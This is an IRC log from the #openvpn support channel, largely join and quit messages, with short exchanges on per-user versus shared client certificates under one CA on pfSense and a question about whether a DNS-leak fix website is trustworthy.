06:05 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has quit [Ping timeout: 264 seconds]
06:08 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has joined #openvpn
06:12 < YamakasY> I have openVPN running on Pfsense which works great. I wondered if you separate users with their username/password only and give them all the same cert or not.
06:18 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
06:21 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
06:25 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
06:30 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds]
06:31 <@dazo> YamakasY: I don't know if pfsense does any matching between username and certificate, but I doubt it.   So it will most likely work with the same certificate for more users
06:32 <@dazo> YamakasY: If you wonder what is the recommended way .... one certificate per user or shared certificates ... that depends on your security level
06:32 <@dazo> YamakasY: if you have 1 shared certificate ... and when that certificate expires, or if you need to revoke it, you will need to issue new certificates to all active users
06:33 <@dazo> YamakasY: if you use individual certificates for each user, you can have a much more fine grained control of your users
06:34 -!- Whoopie [~Whoopie@p200300514F7F9E8B9EC7A6FFFE30886C.dip0.t-ipconnect.de] has joined #openvpn
06:35 <@dazo> YamakasY: I am personally using both approaches ... depending on who the user is.  I'm using openvpn+eurephia (on Linux)  to have a more fine grained network control on each openvpn client .... so employed people have their own certificates, but consultant companies have a "group certificate" ... so I can easily revoke access to the complete consultant company in a single move
06:36 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has quit [Read error: Connection reset by peer]
06:37 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Remote host closed the connection]
06:37 <@dazo> Whoopie: It would be good if you could bring up that issue on the mailing list ... I know the guys who added polarssl support pays more attention to the mailing lists
06:38 -!- Dropje is now known as dropje
06:41 -!- xBytez [~xbytez@xbytez.xxx] has joined #openvpn
06:45 -!- hg_5 [~chatzilla@91.234.245.245] has joined #openvpn
06:50 -!- WorkRoey [~roey@216-15-7-159.c3-0.bth-ubr1.lnh-bth.md.cable.rcn.com] has quit [Ping timeout: 245 seconds]
06:53 -!- Whoopie [~Whoopie@p200300514F7F9E8B9EC7A6FFFE30886C.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
06:53 -!- WorkRoey [~roey@216-15-7-159.c3-0.bth-ubr1.lnh-bth.md.cable.rcn.com] has joined #openvpn
06:56 -!- xBytez [~xbytez@xbytez.xxx] has quit [Ping timeout: 276 seconds]
06:56 -!- Whoopie [~Whoopie@p200300514F7F9E8B9EC7A6FFFE30886C.dip0.t-ipconnect.de] has joined #openvpn
06:57 -!- xBytez [~xbytez@xbytez.xxx] has joined #openvpn
07:09 < YamakasY> dazo: thanks! pfsense matches indeed... I would love to have a cert per user... but I need to setup multiple servers in that case
07:09 <@dazo> YamakasY: ehm ... no, not really .... You just need to use the same CA ... for all client certs
07:10 <@dazo> unless pfsense have some restrictions ... but openvpn certainly does not
07:10 < YamakasY> dazo: a server also gives the IP's and so on... so I set the VPN pool there
07:11 <@krzee> i miss the connection
07:11 <@dazo> yeah, but that's still not any limitation to individual certs
07:12 <@dazo> YamakasY: my setup is a single server .... using a shared VPN IP address pool
07:13 < YamakasY> dazo: with certs per user on that same pool ?
07:14 <@dazo> yes
07:14 < YamakasY> dazo: aha
07:15 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
07:21 < Serrus> oes someone know if the fix suggested on http://www.dnsleaktest.com/how-to-fix-a-dns-leak.php  when there is a dnsleak using openvpn is actually legit, or is it some sneaky lame script that could cause harm instead.
07:21 <@vpnHelper> Title: How to fix a DNS leak (at www.dnsleaktest.com)
07:21 < Serrus> +d
07:22 -!- HyperGlide [~HyperGlid@182.151.165.191] has joined #openvpn
07:22 <@krzee> no idea
07:22 <@krzee> but i find 1 thing funny:
07:22 <@krzee> "As this problem affects predominantly windows clients, only solutions for Windows appear here."
07:22 <@krzee> dns leaks are very much not os specific
07:23 < Serrus> hmm
07:27 <@dazo> that dnsleak site is a fraud
07:27 < YamakasY> I have the idea that pfsense cannot use mutliple user certs on one authority
07:28 <@dazo> YamakasY: I honestly doubt so ... but I've never used pfsense, so I might be wrong .... but it really sounds odd
07:28 < YamakasY> dazo: if I select a authority in the VPN server I setup I can only select one cert to use
07:29 < Serrus> ok thats not good then :)
07:29 <@dazo> YamakasY: well the Certificate Authority should only be one .... and you should only use one CA ... the one you control and where you issue client certificates from
07:29 <@dazo> YamakasY: when your VPN server has the CA certificate .... it allows all certificates issued from that CA
07:30 < YamakasY> dazo: okay
07:31 <@dazo> Serrus: I have my system resolver to localhost (where I run BIND DNS server locally) due to using a more advanced split-DNS setup .... and my "default" DNS for non-matching domains goes to another BIND server I control .... DNS leak still thinks I'm using the ISP DNS - which I definitely do not use
07:31 -!- Whoopie [~Whoopie@p200300514F7F9E8B9EC7A6FFFE30886C.dip0.t-ipconnect.de] has quit [Ping timeout: 252 seconds]
07:31 < Serrus> oh ok thx
07:34 -!- Serrus [~Serrus@unaffiliated/serrus] has quit [Quit: ...]
07:35 -!- Whoopie [~Whoopie@p200300514F7F9E8B9EC7A6FFFE30886C.dip0.t-ipconnect.de] has joined #openvpn
07:46 -!- Netsplit *.net <-> *.split quits: oO0Oo, hive-mind, @vpnHelper, D3Vito, MeanderingCode, i7c, majuscul1, pwrcycle_, mback2k_, emid,  (+5 more, use /NETSPLIT to show all of them)
07:46 < YamakasY> dazo: works
07:50 -!- Netsplit *.net <-> *.split quits: oc80z, pppingme, kloeri, Nothing4You, nohitall, KiNgMaR, fischli, kirin`, @raidz_away, dvl,  (+13 more, use /NETSPLIT to show all of them)
07:51 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Ping timeout: 245 seconds]
07:51 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
07:52 <@dazo> YamakasY: cool!  :)
07:52 < YamakasY> dazo: it is :)
07:52 < YamakasY> thanks
07:52 -!- jd [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
07:52 -!- peper [~peper@node.piotrj.org] has joined #openvpn
07:52 <@dazo> you're welcome!
07:52 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Write error: Connection reset by peer]
07:53 -!- Netsplit *.net <-> *.split quits: ppr, defswork, mcp, pcdummy_, MariusIT, _quadDamage, WorkRoey, xBytez, eliasp, johanbr,  (+5 more, use /NETSPLIT to show all of them)
07:54 -!- Netsplit over, joins: Nothing4You
07:58 -!- kirin` [telex@gateway/shell/anapnea.net/session] has joined #openvpn
08:00 -!- hg_5 [~chatzilla@91.234.245.245] has quit [Ping timeout: 264 seconds]
08:10 -!- Netsplit *.net <-> *.split quits: Denial, ronnocol_, JackSparrow, GabrieleV, @dazo, mrrothhcloud___, Matir, sokmar, CookieNinja, saneki,  (+120 more, use /NETSPLIT to show all of them)
08:16 -!- Netsplit over, joins: mitz_
08:21 -!- peper [~peper@gentoo/developer/peper] has joined #openvpn
08:21 -!- TypoNe [~itsme@195.197.184.87] has joined #openvpn
08:21 -!- MrPockets [~MevinKitt@unaffiliated/mrpockets] has joined #openvpn
08:21 -!- phantomcircuit [~phantomci@covertinferno.org] has joined #openvpn
08:21 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
08:21 -!- Slippern [slippern@server02.hjemmeserver.info] has joined #openvpn
08:21 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has joined #openvpn
08:21 -!- Martin` [martin@shell.ipv6.octocore.net] has joined #openvpn
08:21 -!- Sorcier_FXK [~Sorcier_F@unaffiliated/sorcierfxk] has joined #openvpn
08:21 -!- EugeneKay [eugene@badcryp.to] has joined #openvpn
08:21 -!- VunKruz [~hhhh@2602:306:ccee:6740:203:25ff:fe4b:fc6c] has joined #openvpn
08:21 -!- Champi [Champi@rootshell.fr] has joined #openvpn
08:21 -!- APTX_ [APTX@unaffiliated/aptx] has joined #openvpn
08:21 -!- kenyon [kenyon@darwin.kenyonralph.com] has joined #openvpn
08:21 -!- cj [~cjac@2607:ff08:f5:3a::3] has joined #openvpn
08:21 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
08:21 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn
08:21 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
08:21 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
08:21 -!- krzee [~k@2610:150:4002::3:1] has joined #openvpn
08:21 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
08:21 -!- Rallias [~rallias@unaffiliated/gasseus] has joined #openvpn
08:21 -!- qmr_ [~qmr@50.116.18.140] has joined #openvpn
08:21 -!- WinstonSmith_ [~WinstonSm@a95-95-35-108.cpe.netcabo.pt] has joined #openvpn
08:21 -!- Guest82317 [~quassel@corkblock.jefferai.org] has joined #openvpn
08:21 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
08:21 -!- BasicXP_ [~basicxp@ubuntu/member/BasicXP] has joined #openvpn
08:21 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-tgsclazowimasawe] has joined #openvpn
08:21 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
08:21 -!- YamakasY [~yamakasY@62.58.32.94] has joined #openvpn
08:21 -!- Fiouz [~Fiouz@2a01:e0b:1:68:240:63ff:fee6:924b] has joined #openvpn
08:21 -!- CookieNinja [carrot@unaffiliated/tommehm] has joined #openvpn
08:21 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
08:21 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
08:21 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
08:21 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
08:21 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
08:21 -!- hipodilski [~hipo@pc-freak.net] has joined #openvpn
08:21 -!- Guest60509 [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
08:21 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
08:21 -!- abyss [~abyss@i-free.pl] has joined #openvpn
08:21 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has joined #openvpn
08:21 -!- Guest55360 [~nutron@24.67.96.21] has joined #openvpn
08:21 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has joined #openvpn
08:21 -!- mchou [~quassel@unaffiliated/mchou] has joined #openvpn
08:21 -!- Alina-malina [~Alina-mal@37.252.65.16] has joined #openvpn
08:21 -!- ServerMode/#openvpn [+oo dazo plaisthos] by barjavel.freenode.net
08:21 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
08:21 -!- Denial [Denial@90.205.133.229] has joined #openvpn
08:21 -!- HyperGlide [~HyperGlid@182.151.165.191] has joined #openvpn
08:21 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
08:21 -!- Serano [~serano@rooty.be] has joined #openvpn
08:21 -!- Aketzu_ [akolehma@kelvin.aketzu.net] has joined #openvpn
08:21 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
08:21 -!- ngharo [~ngharo@nexus.sypherz.com] has joined #openvpn
08:21 -!- riddle [riddle@us.yunix.net] has joined #openvpn
08:21 -!- RealRancor [~Rancor@prielwurmjaeger.de] has joined #openvpn
08:21 -!- wykydtron [tassadar@persephone.darkness-reigns.net] has joined #openvpn
08:21 -!- haasn [~nand@2a01:4f8:d13:5245::2] has joined #openvpn
08:21 -!- Jaga [~Jaga@kekkonen.cs.hut.fi] has joined #openvpn
08:21 -!- ronnocol_ [~lance@mail.ronnoco.net] has joined #openvpn
08:21 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
08:21 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
08:21 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
08:21 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has joined #openvpn
08:21 -!- clever [~clever@47.54.82.69] has joined #openvpn
08:21 -!- krapper [krapper@territory.krapper.net] has joined #openvpn
08:21 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has joined #openvpn
08:21 -!- Guest70452 [~josh@joshie.net] has joined #openvpn
08:21 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
08:21 -!- saneki [~saneki@dedi2.ip1.zylongaming.com] has joined #openvpn
08:21 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
08:21 -!- vaillor [~wefefr@adsl-ull-39-64.45-151.net24.it] has joined #openvpn
08:21 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has joined #openvpn
08:21 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn
08:21 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
08:21 -!- C_S_B [~C-S-B@craigsblackie.broker.freenet6.net] has joined #openvpn
08:21 -!- sokmar [~marcin@firma.sokrates.pl] has joined #openvpn
08:21 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has joined #openvpn
08:21 -!- trumee [~parul@93.186.144.251] has joined #openvpn
08:21 -!- havoc [~havoc@neptune.chaillet.net] has joined #openvpn
08:21 -!- hjohnson_ [~hans@d99-199-161-6.bchsia.telus.net] has joined #openvpn
08:21 -!- zampa [zampa@c-eb2570d5.012-55-6c756c10.cust.bredbandsbolaget.se] has joined #openvpn
08:21 -!- mete [~mete@mete.shell.la] has joined #openvpn
08:21 -!- hfp [~user@ovpn.t28.net] has joined #openvpn
08:21 -!- Guest16641 [~aknm@unaffiliated/aknm] has joined #openvpn
08:21 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
08:21 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
08:21 -!- MikeH_ [MikeH@2a01:7e00::f03c:91ff:fe93:f271] has joined #openvpn
08:21 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
08:21 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
08:21 -!- _quadDamage [~EmperorTo@boom.blissfulidiot.com] has joined #openvpn
08:21 -!- Poster|w [poster@shell.bshellz.net] has joined #openvpn
08:21 -!- LeLutin [~lelutin@vps-1036922-2706.manage.myhosting.com] has joined #openvpn
08:21 -!- defswork [~andy@141.0.50.105] has joined #openvpn
08:21 -!- pcdummy_ [~quassel@mx1.page4me.ch] has joined #openvpn
08:21 -!- zeroXten [~zeroXten@37.139.3.39] has joined #openvpn
08:21 -!- nish [~nish@195.1.174.154] has joined #openvpn
08:21 -!- johanbr [~johanbr@vps.nullinfinity.org] has joined #openvpn
08:21 -!- Guest28121 [xtz@DeathStar.Techn0.eu] has joined #openvpn
08:21 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
08:21 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
08:21 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
08:21 -!- WorkRoey [~roey@216-15-7-159.c3-0.bth-ubr1.lnh-bth.md.cable.rcn.com] has joined #openvpn
08:21 -!- xBytez [~xbytez@xbytez.xxx] has joined #openvpn
08:21 -!- mback2k_ [sbnc@89.238.84.46] has joined #openvpn
08:21 -!- Guest96642 [uid3543@gateway/web/irccloud.com/x-yzkvfkpppcjqqqvv] has joined #openvpn
08:21 -!- lmm [uid6417@gateway/web/irccloud.com/x-lwaljvyxcutayarh] has joined #openvpn
08:21 -!- kisom [~kisom@kisom.thr.kth.se] has joined #openvpn
08:21 -!- EmLeX [~emx@unaffiliated/emlex] has joined #openvpn
08:21 -!- emid [~emid@192.241.201.133] has joined #openvpn
08:21 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
08:21 -!- hazardous [~hz@openvpn/user/hazardous] has joined #openvpn
08:21 -!- i7c [~i7c@unaffiliated/i7c] has joined #openvpn
08:21 -!- oO0Oo [oO0Oo@gateway/shell/elitebnc/x-znakwhltjwgjufqz] has joined #openvpn
08:21 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn
08:21 -!- pwrcycle_ [~pwrcycle@173.214.160.92] has joined #openvpn
08:21 -!- majuscul1 [~dylan@dylansserver.com] has joined #openvpn
08:21 -!- D3Vito [d3vito@d3vito.de] has joined #openvpn
08:21 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
08:21 -!- tyteen4a03 [tyteen4a03@gateway/shell/freebnv/x-dyhbgetaievcmpvs] has joined #openvpn
08:21 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has joined #openvpn
08:21 -!- kloeri [~kloeri@freenode/staff/exherbo.kloeri] has joined #openvpn
08:21 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
08:21 -!- Guest75206 [batrick@nmap/developer/batrick] has joined #openvpn
08:21 -!- liriel [~liriel@aphrodite.feralhosting.com] has joined #openvpn
08:21 -!- patelx [chirayu@voyager.chirayu.net] has joined #openvpn
08:21 -!- ScriptFanix [~vincent@Hanaman.riquer.fr] has joined #openvpn
08:21 -!- flo|va-n1-pied [~florent@reverse-230.fdn.fr] has joined #openvpn
08:21 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
08:21 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
08:21 -!- uuuppz [uuuppz@78.129.207.46] has joined #openvpn
08:21 -!- troj [~xxx@94.242.205.4] has joined #openvpn
08:21 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
08:21 -!- oc80z [oc80z@blea.ch] has joined #openvpn
08:21 -!- NChief [~nchief@unaffiliated/nchief] has joined #openvpn
08:21 -!- nohitall [nohitall@gateway/shell/anapnea.net/x-itajwbxqrgqbydif] has joined #openvpn
08:21 -!- ServerMode/#openvpn [+voo hazardous vpnHelper raidz_away] by barjavel.freenode.net
08:21 -!- kirin` [telex@gateway/shell/anapnea.net/session] has quit [Changing host]
08:21 -!- kirin` [telex@gateway/shell/anapnea.net/x-gpszrzqiyiqlultl] has joined #openvpn
08:21 -!- Olipro [~Olipro@d.e.r.p.6.a.1.0.d.d.0.7.2.0.1.0.a.2.ip6.arpa] has joined #openvpn
08:21 -!- jtrucks_ [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
08:21 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
08:21 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
08:21 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
08:21 -!- Dave2 [~Dave2@freenode/staff/dave2] has joined #openvpn
08:21 -!- piele_ [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
08:21 -!- Poster [~poster@cpe-173-88-28-119.columbus.res.rr.com] has joined #openvpn
08:21 -!- [fred] [fred@konfuzi.us] has joined #openvpn
08:21 -!- barhom_ [barhom@netsat.se] has joined #openvpn
08:21 -!- kantlive- [~kantlivel@home.kantlivelong.com] has joined #openvpn
08:21 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
08:21 -!- Varazir [~mircwars@c-94-255-131-158.cust.bredband2.com] has joined #openvpn
08:21 -!- rawtaz [~rawtaz@rho.hobbyhotellet.se] has joined #openvpn
08:21 -!- gardar [~gardar@gardar.net] has joined #openvpn
08:21 -!- ele [~maarten@pinky.elexer.com] has joined #openvpn
08:21 -!- Tera [~tera@unaffiliated/tera] has joined #openvpn
08:21 -!- RichardBronosky [~RichardBr@ec2-50-17-28-78.compute-1.amazonaws.com] has joined #openvpn
08:21 -!- pnielsen [pnielsen@2a01:7e00::f03c:91ff:fedf:3a21] has joined #openvpn
08:21 -!- ServerMode/#openvpn [+o mattock] by barjavel.freenode.net
08:21 -!- pppingme [~pppingme@65.28.110.103] has joined #openvpn
08:21 -!- pppingme [~pppingme@65.28.110.103] has quit [Changing host]
08:21 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
08:21 -!- kirin` [telex@gateway/shell/anapnea.net/x-gpszrzqiyiqlultl] has quit [Max SendQ exceeded]
08:21 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Max SendQ exceeded]
08:21 -!- Olipro [~Olipro@d.e.r.p.6.a.1.0.d.d.0.7.2.0.1.0.a.2.ip6.arpa] has quit [Max SendQ exceeded]
08:22 -!- APTX_ [APTX@unaffiliated/aptx] has quit [Ping timeout: 245 seconds]
08:22 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
08:22 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
08:22 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
08:22 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
08:23 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
08:23 -!- ScriptFanix [~vincent@Hanaman.riquer.fr] has quit [Ping timeout: 261 seconds]
08:25 -!- kirin` [telex@gateway/shell/anapnea.net/x-vyiiqimzqkgobzcl] has joined #openvpn
08:26 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
08:27 -!- JesseCW [~Chumba@wsip-98-175-20-126.br.br.cox.net] has joined #openvpn
08:27 -!- master_o1_master [~master_of@p4FF24618.dip0.t-ipconnect.de] has joined #openvpn
08:27 -!- JackWinter [~jack@vodsl-10021.vo.lu] has joined #openvpn
08:27 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
08:27 -!- brad [~brad@78.129.242.122] has joined #openvpn
08:27 -!- myp [~andrew@mx2.admin.tomsk.ru] has joined #openvpn
08:27 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has joined #openvpn
08:27 -!- sitaktif [~sitaktif@kollok.org] has joined #openvpn
08:27 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has joined #openvpn
08:27 -!- lamba [~lamba@unaffiliated/lamba] has joined #openvpn
08:27 -!- Willis_ [Willis@173.234.237.131] has joined #openvpn
08:27 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
08:27 -!- MorgyN [~mig@island.morgyn.org] has joined #openvpn
08:27 -!- thumbs [~avenger@unaffiliated/thumbs] has joined #openvpn
08:27 -!- zamba [marius@flage.org] has joined #openvpn
08:27 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-txxpkgljhbchwipb] has joined #openvpn
08:27 -!- BtbN [znc@btbn.de] has joined #openvpn
08:27 -!- Matir [~matir@ubuntu/member/matir] has joined #openvpn
08:27 -!- bitg [bitg@gateway/shell/xzibition.com/x-togudtnhdreqcwxt] has joined #openvpn
08:27 -!- matsh [divine@nanogene.org] has joined #openvpn
08:27 -!- kevinsky [~kevin@senna.rosendaal.net] has joined #openvpn
08:27 -!- Guest16641 [~aknm@unaffiliated/aknm] has left #openvpn []
08:30 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 264 seconds]
08:32 -!- mode/#openvpn [+o ecrist] by ChanServ
08:55 -!- vaillor [~wefefr@adsl-ull-39-64.45-151.net24.it] has quit [Ping timeout: 268 seconds]
08:55 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
08:59 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
09:00 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
09:00 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 245 seconds]
09:05 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
09:07 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
09:08 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
09:12 -!- hg_5 is now known as hg_5_away
09:12 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
09:20 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
09:20 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
09:20 -!- dazo is now known as dazo_afk
09:23 -!- Guest75206 [batrick@nmap/developer/batrick] has left #openvpn []
09:25 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has quit [Ping timeout: 276 seconds]
09:25 -!- saneki [~saneki@dedi2.ip1.zylongaming.com] has quit [Ping timeout: 276 seconds]
09:26 -!- saneki_ [~saneki@dedi2.ip1.zylongaming.com] has joined #openvpn
09:26 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Ping timeout: 276 seconds]
09:26 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 276 seconds]
09:26 -!- rooth [tomte@92.43.35.21] has joined #openvpn
09:27 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
09:28 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
09:29 -!- hjohnson [~hans@S0106000db917e89a.vc.shawcable.net] has joined #openvpn
09:29 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 240 seconds]
09:29 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 248 seconds]
09:30 -!- hjohnson_ [~hans@d99-199-161-6.bchsia.telus.net] has quit [Ping timeout: 276 seconds]
09:33 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
09:37 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
09:40 -!- APTX [APTX@unaffiliated/aptx] has quit [Ping timeout: 264 seconds]
09:41 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
09:41 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
09:42 -!- hg_5_away [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 248 seconds]
09:43 -!- hg_5_away [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
09:51 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
09:54 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds]
09:58 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
10:06 -!- HyperGlide is now known as HyperGlide-afk
10:07 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds]
10:11 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
10:17 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
10:21 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
10:21 -!- xBytez [~xbytez@xbytez.xxx] has quit [Ping timeout: 256 seconds]
10:22 -!- ScriptFanix [~vincent@Hanaman.riquer.fr] has joined #openvpn
10:24 -!- xBytez [~xbytez@212.83.63.23] has joined #openvpn
10:27 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:32 -!- Guest28121 [xtz@DeathStar.Techn0.eu] has quit [Quit: leaving]
10:33 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
10:39 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
10:43 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
10:48 < takamichi> Are inline config files (vert,ca,tls-auth) compatible with all version of Openvpn on Windows/OSX/Linux?
10:49 -!- hg_5_away_ [~chatzilla@91.234.245.245] has joined #openvpn
10:49 < takamichi> s/vert/cert
10:51 -!- myp [~andrew@mx2.admin.tomsk.ru] has quit [Ping timeout: 240 seconds]
10:51 -!- hg_5_away [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 256 seconds]
10:51 -!- myp [~andrew@mx2.admin.tomsk.ru] has joined #openvpn
10:58 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Read error: Connection refused]
10:59 -!- HyperGlide-afk is now known as HyperGlide
11:02 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
11:16 -!- raidz_away is now known as raidz
11:17 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
11:21 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
11:46 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
11:48 -!- hg_5_away_ [~chatzilla@91.234.245.245] has quit [Ping timeout: 264 seconds]
11:50 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
11:52 -!- Guest96642 [uid3543@gateway/web/irccloud.com/x-yzkvfkpppcjqqqvv] has quit []
11:57 -!- hg_5_away [~chatzilla@91.234.245.245] has joined #openvpn
11:59 -!- ade_b [~Ade@31.221.87.76] has joined #openvpn
11:59 -!- ade_b [~Ade@31.221.87.76] has quit [Changing host]
